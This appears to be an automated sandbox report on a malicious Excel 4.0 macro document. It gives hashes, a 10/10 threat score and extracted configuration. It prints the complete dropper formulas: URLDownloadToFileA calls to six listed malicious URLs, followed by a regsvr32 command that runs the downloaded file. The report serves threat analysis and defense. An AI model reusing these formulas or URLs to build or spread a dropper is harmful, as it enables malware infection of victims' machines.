General

  • Target

    4972860c3e9e747fb4981e8332a0630f2cb91fedaad224b999f028aed393093d

  • Size

    46KB

  • Sample

    241120-xv98qs1ela

  • MD5

    0c324206ae8583eaf1e4c58aa02bb413

  • SHA1

    552cb5dcfb899d97037077a7537a2973db6fd4d3

  • SHA256

    4972860c3e9e747fb4981e8332a0630f2cb91fedaad224b999f028aed393093d

  • SHA512

    283d21463ae245413c92a26a48bd7816117e0490667b6ad0b2f39f46fd1ac53495c8611c30b9237e35522a024502e3e0cc6f271c26f32bd1c3961068ab7d5bd7

  • SSDEEP

    768:Ko9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:Ko9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

https://aplicativos.xyz/apk/49Wq5MN/

http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/

http://prevozkop.rs/qnov/n017r0EEa/

https://businessandhr.com/w/xrB/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aplicativos.xyz/apk/49Wq5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://prevozkop.rs/qnov/n017r0EEa/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://businessandhr.com/w/xrB/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

xlm40.dropper

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

Targets

    • Target

      4972860c3e9e747fb4981e8332a0630f2cb91fedaad224b999f028aed393093d

    • Size

      46KB

    • MD5

      0c324206ae8583eaf1e4c58aa02bb413

    • SHA1

      552cb5dcfb899d97037077a7537a2973db6fd4d3

    • SHA256

      4972860c3e9e747fb4981e8332a0630f2cb91fedaad224b999f028aed393093d

    • SHA512

      283d21463ae245413c92a26a48bd7816117e0490667b6ad0b2f39f46fd1ac53495c8611c30b9237e35522a024502e3e0cc6f271c26f32bd1c3961068ab7d5bd7

    • SSDEEP

      768:Ko9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:Ko9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks